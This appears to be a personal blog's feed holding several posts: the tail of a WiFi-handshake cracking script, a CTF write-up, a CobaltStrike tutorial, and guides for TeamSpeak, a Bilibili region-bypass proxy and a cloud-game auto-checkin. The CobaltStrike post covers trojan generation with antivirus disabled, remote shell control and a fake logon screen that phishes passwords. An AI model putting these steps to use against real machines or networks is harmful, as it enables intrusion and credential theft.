'https://gamernotitle.coding.net/p/Dictionarys/d/WIFI/git/raw/master/metadata.json?download=true').json()
print(pformat(dictionarys))
option = input(
'Please input the name of the dictionary you want to use: ')
if option == '':
print('You need to specify a dictionary to crack the packet!')
else:
Downloader(dictionarys['data'][option]
['link'], f'./{option}.txt')
dictionary = f'{option}.txt'
print(
f'Start cracking {path} with dictionary {dictionary}')
CrackWithDict(path, dictionary)
else:
print(f'Start cracking {path} with dictionary {dictionary}')
CrackWithDict(path, dictionary)
if Input == '9':
os.system('apt update')
os.system('apt install aircrack-ng -y')
if Input == 'q':
os._exit(0)
]]>
+ + + + + CTF + + + + + + + CTF + + WIFI + + aircrack + + + +
+ + + + + 2022年全国大学生信息安全竞赛创新实践能力赛初赛 —— 部分WriteUp + + /posts/CTF-20220529/ + +

前言

因为今年第一年参加,其实啥也不会,所以就把做出来的题放出来吧

签到电台

题目内容

题目内容:豪密,是中国共产党和中国工农红军第一本无线电通讯密码的简称,由周恩来同志亲自编制,以周恩来党内化名“伍豪”命名,它是我党建立机要工作最早也是保密性能最强的一种密码,从二十世纪三十年代到全国解放,都始终未被破译。春秋GAME伽玛实验室团队通过对豪密的加密模式进行分析,并参考已有的文献资料,仿制豪密的加密方法,制作成一道题目,谨以此题致敬情报战线的先辈们。

请点击“下发赛题”,让我们一起穿越百年,追寻红色通信足迹。(关注“春秋伽玛”公众号,回复“签到电台”获取解题提示)

思路

这题题目中其实没有太多的信息,主要是进去的那个网页里面有东西:一个标准电码表、一个密码本,然后附了一个参考资料

打开F12的开发者工具,然后按照要求点三下(即摩尔斯电码中的s),就抓到了请求的模板(这里手动的后面多了个J,但是实测不要J也可以)

即可以通过http://<域名>:<端口>/send?msg=<对应的英文字母>这样的格式,使用GET请求来发送信息

发送消息为”弼时安全到达了“,在密码本中直接Ctrl + F查找对应的字,得到对应的密码为1732 2514 1344 0356 0451 6671 0055,然后跟密码本的前28位进行模十运算(就是相加满十不进位),可以得到最终的密码为5527054196298395149957904073

最后访问http://<域名>:<端口>/send?msg=5527054196298395149957904073得到最终的flag{f52cc5ad-02b8-435c-b3e6-d6f907bb87a0}

附上我在做题的时候写的Python程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
codebook = '4895803783858049104891294028048877915993964884508701445170950472768818538157286879377568710737172419298890539211492159906706061553481596238704105315728289938582396161010201690117478415116408421577896895157832859368342230101663462972097373698261703992384839346255728696795365185881001654058108670883555430417806185446713801876774660320697572224607414161582051823332010943895369187926637133510089324514317205555123443145243388316267915082441584692640192647157276119645960280826103942635711642018106393519189267856807479524025909341'
# 密码本
front28 = list(codebook[:28])
# 前28位数字
secret = list('1732251413440356045166710055')
# 七个字对应的电码
result = []
for i in range(len(front28)):
result.append(str(int(front28[i])+int(secret[i]))[-1])

print(result)
res = ''
for i in result:
res += i
print(f'Msg decoded: {res}')

小插曲

在最后一小时黑灯搏杀开始以后有人打平台被封IP了呼呼呼

]]>
+ + + + + CTF + + + + + + + CTF + + Crypto + + Morse + + + +
+ + + + + CTF学习笔记(大学篇)03 —— CobaltStrike 详解 + + /posts/CTF-in-College-3/ + +

CobaltStrike信息

Cobalt Strike(下面会简称为CS)是一款由java编写的全平台多方协同渗透测试框架,在3.0版本之前它基于Metasploit框架工作,在3.0后的版本以独立成一个渗透测试平台。CobaltStrike集成了端口转发、端口扫描、socket代理、提权、钓鱼、远控木马等功能。该工具几乎覆盖了APT攻击链中所需要用到的各个技术环节,且其最大的优点在于可以进行团队合作和优越的UI界面。

不过这东西好像是要钱的,在百度搜索可以找到别人打包好的程序,包括汉化包、服务器等东西(自己找去吧),但是一定要注意,teamserver和CS程序本体的版本号一定要一样!

如果是官方下载的纯净版,那目录结构应该是长这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
CobaltStrike
│ agscript
│ c2lint
│ cobaltstrike
│ cobaltstrike.bat
│ CSAgent.jar
│ peclone
│ teamserver
│ tree.txt

├─resources
│ bdetails.txt
│ bhelp.txt
│ translation.txt

└─scripts
default.cna

开启CS服务器

CS需要一台电脑作为监听服务器,这里我直接用物理机当服务器和攻击机,用虚拟机当目标机

在Windows下,需要把以下代码复制粘贴到一个bat文件(建议放在同目录),然后再运行监听服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
@echo off   
:check_java
java -version >nul 2>&1
if %errorLevel% == 0 (
goto:check_permissions
) else (
echo [-] is Java installed?
goto:eof
)

:check_permissions
echo [+] Administrative permissions required. Detecting permissions...
set TempFile_Name=%SystemRoot%\System32\BatTestUACin_SysRt%Random%.batemp
(echo "BAT Test UAC in Temp" >%TempFile_Name% ) 1>nul 2>nul
if exist %TempFile_Name% (
echo [+] Success: Administrative permissions confirmed.
del %TempFile_Name% 1>nul 2>nul
goto:check_certificate
) else (
echo [-] Failure: Current permissions inadequate.
goto:eof
)

:check_certificate
set certificate=".\cobaltstrike.store"
if exist %certificate% (
goto:test_arguments
) else (
echo [!] Please generate the cobaltstrike.store !
echo [!] Example: keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
goto:eof
)

:test_arguments
set argC=0
for %%x in (%*) do Set /A argC+=1
if %argC% LSS 2 (
echo [-] teamserver ^<host^> ^<password^> [/path/to/c2.profile] [YYYY-MM-DD]
echo ^<host^> is the default IP address of this Cobalt Strike team server
echo ^<password^> is the shared password to connect to this server
echo [/path/to/c2.profile] is your Malleable C2 profile
echo [YYYY-MM-DD] is a kill date for Beacon payloads run from this server
goto:eof
) else (
goto:run_cobal
)
:run_cobal
java -Dfile.encoding=UTF-8 -XX:ParallelGCThreads=4 -Xms512m -Xmx1024m -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer %*

弄好了以后,打开Windows Terminal,运行下面的命令来打开监听服务器

1
.\teamserver.bat <监听ip> <服务器密码>

这里监听IP不能是0.0.0.0,必须指定ip。可以通过ipconfig来查看本机的ip地址,然后填在对应的位置,密码就自己设置了,另外打开的时候一定要用管理员权限!

开完了应该会像下面这张图这样显示

然后打开CS软件本体,输入ip和密码进行连接,出现主页面即为连接成功

开CS软件本体的方式就很简单了,可以简单粗暴直接java -jar cobaltstrike.jar,也可以把下面这些内容复制到一个bat文件然后直接双击打开(下面这里用了汉化模组CobaltStrikeCN.jar,你可以在Github搜索下载)

1
java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC  -jar cobaltstrike.jar

生成木马文件

这个其实很简单(如果不做免杀的话),直接在顶上找到齿轮图标点一下,然后选择一个监听器生成就行了,不过在生成之前要记得一定要关闭杀软(因为没做免杀,会被杀软直接干掉)

这里我生成了一个名为beacon.exe的木马文件,把它丢到虚拟机里面双击运行(记得要把虚拟机的杀软也关了)

这里有个坑,如果你发现你的肉鸡很久都没有上线,那你应该去检查一下虚拟机的网络模式设定,我一开始设置的是NAT模式,但是NAT模式的网段跟本机的网段不太一样,就会连不上,所以要改成桥接模式才能够连接成功。

在虚拟机打开木马文件后,你攻击机的CS就会有上线提示了,然后会显示一些关于肉鸡的信息,如图所示

肉鸡上线的时候,第一件事情就是要调整延迟。如果说你想做到实时控制,那就要把延迟调整为0s,如果你想操作延迟执行,那就修改为对应的时间,默认是60s

修改也很简单,右击一下你的目标机器,在会话里面可以找到Sleep选项,点开以后修改就行了

右击选择进入beacon可以进入CS提供的命令行,对目标机器进行操作

一般可以使用shell <powershell命令>的格式来执行Windows自带的命令,例如使用shell notepad就可以在目标机器打开一个记事本,使用shell calc就可以在目标机器打开一个计算器

安装插件

CS自己就带了不少的功能,例如提权、VNC等功能,但是这些功能不太够,幸好整个CS的生态里面是有很多大佬开发插件的,这里可以在Github上随便搜搜就能找到了。这里我装了一个z1un/Z1-AggressorScripts: 适用于Cobalt Strike的插件 (github.com)整个插件集,所以我这里右击肉鸡的时候多了一个Z1选项

这里就有很多功能了,这里可以讲一下一些有趣的功能

用户密码钓鱼

很多计算机都会设置有电脑的登录密码,有的时候我们想获取用户的密码,那用得最烂但是挺有效的手段就是钓鱼(特别对于CSGO库存价值高的Steam用户来说肯定遇到过不少),这里Z1也给我们提供了对应的功能,我们可以在Z1->读取密码->钓鱼密码窃取->FakeLogonScreen里面使用这个功能,点击后会弹出一个小窗口,点击执行后,肉鸡就会显示一个钓鱼窗口了

不过有一说一这个窗口……做的还是挺次的

虚假的登录窗口

真实的登录窗口

不过这个可以自动判断用户密码的正误,直到用户输入正确了才放行,控制台会实时弹用户输入密码的情况,但是但是,对于我这种用PIN登录的人来说,获取不到PIN

输入错误

输入正确

还有一种钓鱼窗口就是Windows自带的那种认证窗口(如图)【紫色的表框是VMware的Unity模式带的,在正常的系统中显示实际上是没有没有】

不过也有一个缺点就是:正常的巨硬认证窗口是不能移动的,这个可以……

打开这个窗口也不难,只是在刚刚上面那个Windows登录的那个选项那里选择下面那个,然后设定一下标题(在这里是安全认证这几个字)就可以了。

]]>
+ + + + + CTF + + + + + + + CTF + + CobaltStrike + + Virus + + Trojan + + + +
+ + + + + Teamspeak服务器搭建指南 + + /posts/Teamspeak-Server/ + +

在跟群里的水友们进行语音的时候,我用的一般都是扣扣语音,没错就是那个Bug百出而且还超级烂的扣扣语音,虽然有一段时间用过开黑啦,但是感觉不如Discord的体验好。但是水友又不是个个都会用Discord,后来经过我们的商讨,我们决定转战Teamspeak.

下面我将会以我的经验来告诉你,一个Teamspeak服务器应该怎么搭建


首先Teamspeak不像QQ那样有官方的服务器可以用,所有的服务器都是自己搭建的(当然也有很多别人搭建好的能用,不过为了安全性考虑还是推荐自己搭建)

在教程中,我可能会Teamspeak5和Teamspeak3混用(因为我没有TS5的BETA KEY,有些功能还不能用,不过能用TS5的我还是会用TS5)

安装Teamserver

你需要到Teamserver的官网下载服务器,根据你的服务器系统下载所需要的版本(上面这个直接指向服务器下载页面)

因为我这台服务器是Debian GNU/Linux 10(Py3.7.9) x64,所以我这里下载linux 64位的版本,下载完以后直接解压

解压以后会得到下面这张图所示的这一堆东西

接着我们运行下面的命令

1
2
sudo chmod +x *
sh ts3server_startscript.sh start

它会启动我们的teamspeak服务器,如果你是root用户启动,会跟我一样收到来自teamspeak的提醒

WARNING ! For security reasons we advise: DO NOT RUN THE SERVER AS ROOT

如果你觉得以root用户启动没啥问题的话也可以不用管它,我这里因为是用了别人的服务器做教学,别人的默认账户是root,所以就弹了这个

运行后红框里面的意思就是让我们去看LICENSE和EULA之类的东西(跟你开个MC服务器是一样的),这里我们新建一个.ts3server_license_accepted来代表我们已阅读并同意LICENSE和EULA(请认真阅读后再进行此操作)

1
touch .ts3server_license_accepted

接着我们再次运行teamspeak服务器,这次就会正常开启了

第一次开启会给我们一个privilege key(特权密钥),我们需要用这个密钥来认领我们的服务器(认领的同时我们会获得管理员权限)

不过在连接之前,请确保你的防火墙开放了如图所示的端口

接着我们连接我们的Teamspeak服务器,如果是TS3的话,首次连接会直接弹出认领窗口,如果是TS5就会像我这样

我们把刚刚获得的特权密钥填入,这样我们就获得了服务器的管理员权限。同时,其他用户也可以通过teamspeak连接你的服务器了

配置服务器

认领完成后,你的右上角应该有一个铅笔样的图案了,点击它,你就能够修改服务器的一些信息

配置项如图

配置完后点击右上角的勾勾就可以了

频道管理

在我上面这张图的底下,有一个Create Channel,点击这里就可以创建频道了,分别可以设置频道的名字、密码、位置、有效期

如果没有勾选永久(TS3有临时和半永久)的话,临时频道在所有人退出后会自动销毁,半永久没用过,有用过的可以评论区说说

创建完成后,点击频道,可以看到频道的相关设置项,同样点击上面的铅笔图标进行修改

关于图标需要注意的东西:图标必须是方形(否则会给你截中间),而且大小不能超过8kb

你可以设置频道的描述、话题、名字、语音质量、语音解码方式,一般来说语音质量可以拉满,5M的小水管都能跑

配置完后同样点击右上角的勾勾来应用就可以啦

用户管理

你可以通过右键一个用户来给他相应的服务器/频道权限,也可以单击该用户,在左边的Groups里面修改权限(TS5的功能)

对于有管理权限的用户,可以踢出用户以及BAN人,服主可以将管理员权限给信任的用户进行管理,这样也能在自己不在线的时候维持服务的秩序

]]>
+ + + + + Tech + + + + + + + Tech + + Teamspeak + + + +
+ + + + + 收看B站港澳台地区番剧的正确方式 - 哔哩漫游biliRoaming + + /posts/biliRoaming/ + +

本文禁止转载,也禁止大范围转发宣传!

因为某些众所周知的原因,有些番在B站只能在港澳台观看,而我们平时观看港澳台番剧会出现下面这张图的情况

PC端

Android端(有些可能会写“您所在的区域不支持观看”)

对于我这种追番老手来说,这可是不能接受的一件事情。而在我早期搜索B站港澳台的时候,发现了能够突破这种限制的油猴脚本bilibili-helper/README.md at user.js · ipcjs/bilibili-helper (github.com),以前这个脚本使用的是biliPlus的服务器,但是后来因为一封律师函,所以就只能自建服务器了(后面会说)

下面我将带领大家一步一步突破港澳台限制

PC端

首先你需要给浏览器装上油猴插件(这里不讲),然后打开这个链接解除B站区域限制 (greasyfork.org),安装这个插件

然后当你打开某一个番剧的详情页(不一定要港澳台的),有一个设置按钮(就是图片里面这个有点像星球的这个按钮)

点开以后在里面填写服务器,服务器可以参照哔哩漫游提供的公共服务器 公共解析服务器 · yujincheng08/BiliRoaming Wiki (github.com),也可以自建(这里不讲,哔哩漫游的wiki里面有,自己找)

我这里填的是自建服务器,因为额度有限就不共享了,upos服务器建议换成ks3(金山),比较稳定

这时候你再访问番剧页面,它就会自动给你获取港澳台的番剧看了

安卓端

你需要安装xposed框架并安装哔哩漫游模块 Releases · yujincheng08/BiliRoaming (github.com)

当然,如果你不是高玩,你也可以下载已经把模块集成在主程序的B站,官方下载地址是这个 -> https://wwe.lanzoux.com/b015ll4sb 2333

我自己打包的是这个 -> [Lspatch] [Roaming-1.6.2] 哔哩哔哩 6.69.0 [Lspatch] [Roaming-1.6.2] 哔哩哔哩HD 1.17.0

安装完成后,在设置中找到哔哩漫游设置,并按照我这样设置(解析服务器自己填,这里拿HD来做例子)

打开前三个选项

填入解析服务器

Upos更改为k3c

完成后直接点确定并重启客户端,然后就能看港澳台番剧了

苹果iOS端

你在想Peach?

Q&A

为啥只能看6分钟

因为有些番需要大会员才能看,没有大会员只能看前6分钟,所以你需要在PC端的设置页面点击账号授权(请不要给陌生的解析服务器授权,因为这会把你所有的账号信息,包括Cookie共享到服务器

自建解析服务器

我只在这里放出PHP版本的代码,我使用阿里云的云函数创建的,因为这种东西还是少人知道比较好我就不放出来我的服务器和搭建方法了,具体方法自行摸索(这个版本没有在线黑名单,要分享的时候请谨慎!其他的版本在官方的wiki有)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
<?php

use RingCentral\Psr7\Response;
/*
To enable the initializer feature (https://help.aliyun.com/document_detail/89029.html)
please implement the initializer function as below:
function initializer($context) {
echo 'initializing' . PHP_EOL;
}
*/

function handler($request, $context): Response
{
/*
$body = $request->getBody()->getContents();
$queries = $request->getQueryParams();
$method = $request->getMethod();
$headers = $request->getHeaders();
$path = $request->getAttribute('path');
$requestURI = $request->getAttribute('requestURI');
$clientIP = $request->getAttribute('clientIP');
*/
/* Config */

$upstream_pc_url = 'https://api.bilibili.com/pgc/player/web/playurl';
$upstream_app_url = 'https://api.bilibili.com/pgc/player/api/playurl';
$timeout = 5; // seconds


/* Read incoming request */
$request_method = $request->getMethod();
$request_query = stristr($request->getAttribute("requestURI"), '?');
$req_referer = $request->getHeaderLine('referer');;
$request_headers = $request->getHeaders();
$request_body = $request->getBody()->getContents();



/* Forward request */
$ch = curl_init();

//清理相关header
array_splice($request_headers, array_search('HOST', $request_headers));
array_splice($request_headers, array_search('User-Agent', $request_headers));
array_splice($request_headers, array_search('Referer', $request_headers));


$headers = array();
foreach ($request_headers as $key => $value) {
$headers[] = $key . ': ' . $value;
}
//判断使用pc还是app接口
if (substr_count($request_query, 'platform=android') != 0) {
$url = $upstream_app_url . $request_query;
curl_setopt($ch, CURLOPT_USERAGENT, 'Bilibili Freedoooooom/MarkII');
} else {
$url = $upstream_pc_url . $request_query;
curl_setopt($ch, CURLOPT_REFERER, $req_referer);
}
//curl配置
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $request_method);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request_body);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
$header = array();

if ($response === false) {
$header['Content-Type'] = 'text/plain';
return new Response(
502,
$header,
'Upstream host did not respond.'
);
} else {
$header_length = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$curl_response_headers = explode("\n", substr($response, 0, $header_length));
$response_body = substr($response, $header_length);

foreach ($curl_response_headers as $header_string) {
$header_tmp = explode(': ', $header_string, 2);
if (count($header_tmp) == 2) {
$header[$header_tmp[0]] = trim($header_tmp[1]);
}
}

curl_close($ch);
// 这行用于调试请求信息
// return new Response(200, array(), json_encode(array('header' => $header, 'body' => $response_body, 'url' => $url, 'response'=>$response, 'curl_headers'=>$curl_response_headers)));
return new Response(
200,
$header,
$response_body
);
}
}

/*tool*/
//某个字符串在另一个字符串第N此出现的下标
function str_n_pos($str, $find, $n)
{
$pos_val = 0;
for ($i = 1; $i <= $n; $i++) {
$pos = strpos($str, $find);
$str = substr($str, $pos + 1);
$pos_val = $pos + $pos_val + 1;
}
$count = $pos_val - 1;
return $count;
}
]]>
+ + + + + Software + + + + + + + Host + + Software + + biliRoaming + + Cloud Function + + + +
+ + + + + MHYY-AutoCheckin - 米哈云游(云原神)自动签到脚本食用指南 + + /posts/MHYY-AutoCheckin-Manual/ + +

米哈云游(云原神)自动签到脚本食用指南

在指南开始之前,请确保你有一颗聪明的头脑和可以折腾的时间,否则请等时机合适再进行配置!

在使用过程中如果遇到什么问题,请前往Issues · GamerNoTitle/MHYY (github.com)发起新的issue来提出,不要在本页面的评论区提出问题(因为追踪性太差了)

对于正在使用本脚本的用户,请注意:每次云原神更新后(一般会跟着本体大版本更新就更一次),请把自己的配置中的version修改为最新的云原神版本,否则可能会出现不可预料的错误;并且请及时更新脚本,在自己的仓库点击Fetch upstream然后点击Merge即可!)

现在这个值是作为fallback值使用,只有当官方的版本号服务器不可用时才会用到这个值,所以有空就改,不改也可以

用前必读

⚠️请不要进行宣传,谢谢!一旦发现宣传就删库跑路!使用过程中如果出现bug可能会使用您的日志进行错误追踪,详情请见隐私政策

快速开始

先点个STAR,我们马上开始我们的教程:D

青龙面板

如果你选择使用青龙面板,那么你需要执行以下操作

首先点开订阅管理,把这个命令粘贴进去

1
ql repo http://gogs.console.bili33.top/GamerNoTitle/MHYY-AutoCheckin.git "main" "" ""

然后他会自动识别,并填入相应的内容,你只需要修改定时规则即可,名称按照自己需要修改

如果上面这个命令贴进去后因为网络原因(有可能我的gogs宕机了)或者其他原因拉取不了,可以改成下面这个

1
ql repo https://github.com/GamerNoTitle/MHYY.git "main" "" ""

优先还是建议用gogs的那个,谁知道啥时候Github就给我仓库封了呢~

保存以后点击运行按钮更新一下订阅

在定时任务中你就能找到刚刚更新的内容,但是还不能够使用,我们还需要配置依赖和环境变量

我们需要两个python3依赖,分别是requestssentry-sdk,如图填写并安装

然后点到环境变量,新建名为config的变量(可以改,请见青龙面板不使用config作为变量名)把我们的配置填进去,点击保存

配置应该如下(单个账号)

1
2
3
4
5
6
7
8
9
10
11
{
"token": "token1",
"type": 0,
"version": "3.0.0",
"android": "13",
"deviceid": "uuid",
"devicename": "device_name",
"devicemodel": "device_modal",
"appid": 1953439974,
"analytics": false
}

程序已经支持多个账号了,多个账号你需要按照下面这个格式填写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[
{
"token": "token1",
"type": 0,
"version": "3.0.0",
"android": "13",
"deviceid": "uuid",
"devicename": "device_name",
"devicemodel": "device_modal",
"appid": 1953439974,
"analytics": false
},
{
"token": "token2",
"type": 0,
"version": "3.0.0",
"android": "13",
"deviceid": "uuid",
"devicename": "device_name",
"devicemodel": "device_modal",
"appid": 1953439974,
"analytics": false
}
]

保存后你就可以在定时任务中运行试试看效果了~

青龙面板不使用config作为变量名

先点开脚本管理,找到你对MHYY-AutoCheckin的命名,然后打开它的文件夹,找到main.py文件,在大约23行的位置找到以下内容

1
2
# Running in Github Action, use this to get the config
config = json.loads(os.environ.get('config'))

把括号里的config改成你想要的名字,然后配置环境变量的时候就直接改成你配置的名字就可以了~

Github Action 版本

原仓库在2023/02/03收到Github通知封禁,镜像仓库在GamerNoTitle/MHYY: Disabled Action, if you need it, enable it by yourself (github.com),本项目仓库的Github Action已经被我手动禁用,如果需要使用Action版本,请将~/.github/workflows文件夹内的两个文件后面的.disabled删掉!

首先你需要先打开本脚本的仓库GamerNoTitle/MHYY: 米哈云游(云原神)自动签到脚本,让你每天都拿到15分钟~ (github.com),点击右上角的fork按钮,接着点击下面绿色的Create fork来创建一个分支

然后点击上面的Settings,导航到Secrets->Actions页面下,点击New repository secret(如图)

将以下内容进行填充后加入名字为config的Secret中(内容获取请参照配置内容获取一节)

1
2
3
4
5
6
7
8
9
10
11
{
"token": "",
"type": 0,
"version": "2.2.0",
"android": "0",
"deviceid": "",
"devicename": "",
"devicemodel": "",
"appid": 0,
"analytics": true
}

阿里云函数版本

首先你得先下载本仓库的代码文件,点击右上角绿色的Code,然后点击Download ZIP,把压缩包下载后解压到一个你知道的地方,我们一会会用到

先打开阿里云函数,点左边的函数服务,然后顶上选择地区,随便选(但是最好是国内)

点击创建服务来建立一个新的服务

紧接着创建一个新的函数,设置方法如下面几张图

创建后会自动打开阿里云函数的vscode,在这里,点击上面的Terminal,点击New Terminal(也可以直接快捷键Ctrl + Shift + `

打开以后在里面输入下面的命令

1
chmod +x ./preinstall.sh && ./preinstall.sh

运行完以后,打开config.json,把自己的配置内容填进去即可,然后点击部署代码

一定要先把配置丢进config.json再部署代码!一定要先把配置丢进config.json再部署代码!一定要先把配置丢进config.json再部署代码!

要是不确定能不能使用,可以点一下顶上的测试函数,看看能不能使用

腾讯云函数版本(不推荐,腾讯要收钱了,可以在阿里云函数使用,正常是不会用完你的免费额度的)

首先你得先下载本仓库的代码文件,点击右上角绿色的Code,然后点击Download ZIP,把压缩包下载后解压到一个你知道的地方,我们一会会用到

先打开腾讯云函数,点左边的函数服务,然后顶上选择地区,随便选(但是最好是国内)

点击新建来建立一个新的函数

函数的名称可以随便填,但是你也得符合腾讯云指定的规则;但是运行环境一定一定要选择Python 3.6(因为Python 3.7不带我们需要的环境,还需要自己装非常麻烦)

接着往下,提交方法选择本地上传文件夹,然后选择你刚刚解压的文件夹里面的SCF文件夹,接着重点来啦:执行方法里面填写为index.handler(一定要改)

接着点击下面的触发器配置,选择自定义创建,触发方式选择定时触发,触发周期选择每1天,下面的启用要打勾,点击完成

创建完成后进入配置界面,先点击顶上的函数配置,点击编辑,往下面拉找到初始化超时时间执行超时时间,把这两个数字往高了调

然后点击顶上的函数代码,等底下加载完后点击config.json,把你的信息填进去

然后打开终端,输入以下代码安装依赖

1
chmod +x ./preinstall.sh && ./preinstall.sh

一定要先把配置丢进config.json再部署代码!一定要先把配置丢进config.json再部署代码!一定要先把配置丢进config.json再部署代码!

往下拉,先点击部署,然后点测试,只要测试成功了就是部署完成了

其他云函数

其他的云函数有如下

用法其实跟阿里云函数腾讯云函数大差不差,看着用就行了,不会就开issue问

配置解释(配置内容获取

  • token 是在云原神登录后用于验证的token
  • type (应该)是设备类型,安卓好像是2,iOS设备用户是1但是目前还不支持iOS设备,请看这里
  • version 是云原神的版本(每次更新以后记得改一下,不然可能会出问题 不用改了,现在改成从官方服务器获取版本号)
  • android 安卓版本,例如我的红米K40的安卓版本是Android 12,就填入12,应该是只有Android有,因为手上只有Android设备,如果你愿意用iOS设备进行测试的话,请将相关内容发邮件到GamerNoTitle@outlook.com
  • deviceid 设备在米哈游注册的id(格式为UUID,例如d76fb4b4-b898-4093-990d-c57ebb40f29b
  • devicename 设备的名称
  • devicemodel 设备的型号(请注意:deviceid devicename devicemodel 尽量是同一台手机的内容,因为指不定那天米忽悠就对这三个东西进行校验了,当然你要用公共的我也不阻止对吧)
  • appid 暂时不清楚,从我目前手上各用户提交的统计信息来看,好像是云原神这个应用在米哈游的应用id(貌似不会变)
  • analytics 因为关于这个东西的信息太少,所以会把除了token以外的东西发送到我的云端服务器以便于分析,如果你不想分享你的信息(包括设备id、设备名称、设备型号等),请将这个设置为false

配置完成后,我们点开顶上的Actions,然后点绿色的那个按钮

然后点击左侧列表中的两个脚本,点Enable workflow来启用

然后我们点开左侧的AutoCheckin,然后点Run workflow来运行,只要运行结果打了绿色的勾勾就一般就没啥问题

自动保活

事实上,对于现版本的Github Action,只需要把KeepActionAlive打开即可,下面的这些操作是旧版本的Action所需要的

因为Github在仓库没有push三个月后会停用仓库的一切Action,所以说我们需要进行保活。

在启用KeepActionAlive之前,你需要创建一个用来push更改的GITHUB_TOKEN

右上角点击自己的头像,然后点击Settings,然后在左侧的导航栏找到Developer Settings

然后在左边找到Personal Access Tokens,点击Generate new token生成一个token,名字填写为GITHUB_TOKEN

把过期时间设置为No expiration,然后依次勾选下面内容

然后点最下面的绿色按钮Generate token即可

在Action页面启用KeppActionAlive即可!脚本会在每个月的1号自动推送更新从而达到保活的目的。

配置内容获取

因为云原神是在手机上运行的,所以你需要安装一个手机上的抓包软件(例如HttpCanary,或者如果你能够用fiddler电脑运行去抓也行)

一定要记得装抓包软件提供的证书,要不然解不了SSL连接,一定要先登录并成功进去了再启动抓包软件!!!

这里面只要是个HTTP链接,随便一个里面都有我们所需要的东西,这里我就点开了一个链接,在请求里面有所有我们需要的东西,而解释我都写在图片里面了

其中,这里面的东西与变量有如下的对应关系

1
2
3
4
5
6
7
8
9
10
11
{
"token": x-rpc-combo_token,
"type": x-rpc-client_type,
"version": x-rpc-app_version,
"android": x-rpc-sys_version,
"deviceid": x-rpc-device_id,
"devicename": x-rpc-device_name,
"devicemodel": x-rpc-device_model,
"appid": x-rpc-app_id,
"analytics": true
}

version不是必要的,在a4e5f06..7bd5d44 commit中,使用了米忽悠自己的api获取云原神的最新版本号,此处填写version只是作为获取不到最新版本号时的fallback值

对于token(应该说写作token念作cookie)由以下几部分组成:

  • ai 一个数值,具体含义未知
  • ci 一个数值,具体含义未知
  • oi 一个数值,推测是米游社ID
  • ct 一串字符,具体作用未知,推测为认证使用
  • si 一串字符,具体作用未知,推测为认证使用
  • bi 一串字符,推测为服务器通道

只要把对应的内容填到配置中即可!对于字符串类型的内容请使用双引号而不是单引号,json不认单引号(在错误收集中发现有此类现象,故特别提出)

请不定时自己上线米哈云游(云原神)来清理签到的提醒消息,不然会一直堆积着,就要点好多次了

堆积的信息可以在运行结果中查看

iOS设备用户须知

因为米忽悠在请求头中的cms-signature键中写了用了hmac-sha1加密方法,这种加密方法需要要加密的信息密钥,这两个东西我这边目前都不能确定(其实有要加密的信息就可以去猜密钥,但是目前不清楚是对什么进行了加密),而且在CONTENT-MD5中,还对请求的MD5进行了校验(这个好搞,主要是前面那个),最后还有一个时间Date的请求头(目前猜是发出请求的时间),总的来说就是不好搞,如果你手上是iOS设备,并且你愿意用iOS设备进行测试的话,请将相关内容发邮件到GamerNoTitle@outlook.com,最好是抓到的所有包都截图发一下(我好进行判断),并且抓多几次(感谢多玩幻灵qwq愿意与我共享他的抓包数据,这是我第一次收到iOS设备有关信息,谢谢你的共享:D)

已知iOS设备抓包会包含以下内容(以log获取为例)[感谢@多玩幻灵qwq在QQ给我提供的完整请求]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Host: log-upload.mihoyo.com
x-rpc-device_model: iPhone11,8<表示iPhone的版本,可能会在新iPhone出来后变更,11,8表示从iPhone 11 ~ iPhone 8的设备(懒狗米忽悠)>
Cookie: account_id=<猜测是米游社ID>; cookie_token=<认证用的Token>; ltoken=<认证用的Token+1>; ltuid=<米游社ID+1,应该跟account_id是一样的>
User-Agent: %E4%BA%91%C2%B7%E5%8E%9F%E7%A5%9E/24 CFNetwork/1331.0.7 Darwin/21.4.0(前面那里的URL解码后是"云·原神")
Referer: https://app.mihoyo.com
x-rpc-device_name: iPhone
cms-signature: hmac-sha1
Content-Length: <请求长度,暂时不知道怎么算的>
CONTENT-MD5: <MD5校验值,暂时不知道是拿什么东西算的MD5>
Date: <时间戳值,为请求发出时间>
x-rpc-combo_token: <格式同Android抓包得到的格式>
x-rpc-channel: appstore
x-rpc-app_version: <云原神版本>
Authorization: <身份认证Key,暂时不知道会不会变>
Accept-Language: zh-CN,zh-Hans;q=0.9
Connection: keep-alive
x-rpc-client_type: 1<1表示iOS系列>
x-rpc-device_id: <设备ID,格式为UUID5>
Accept: */*
Content-Type: application/json
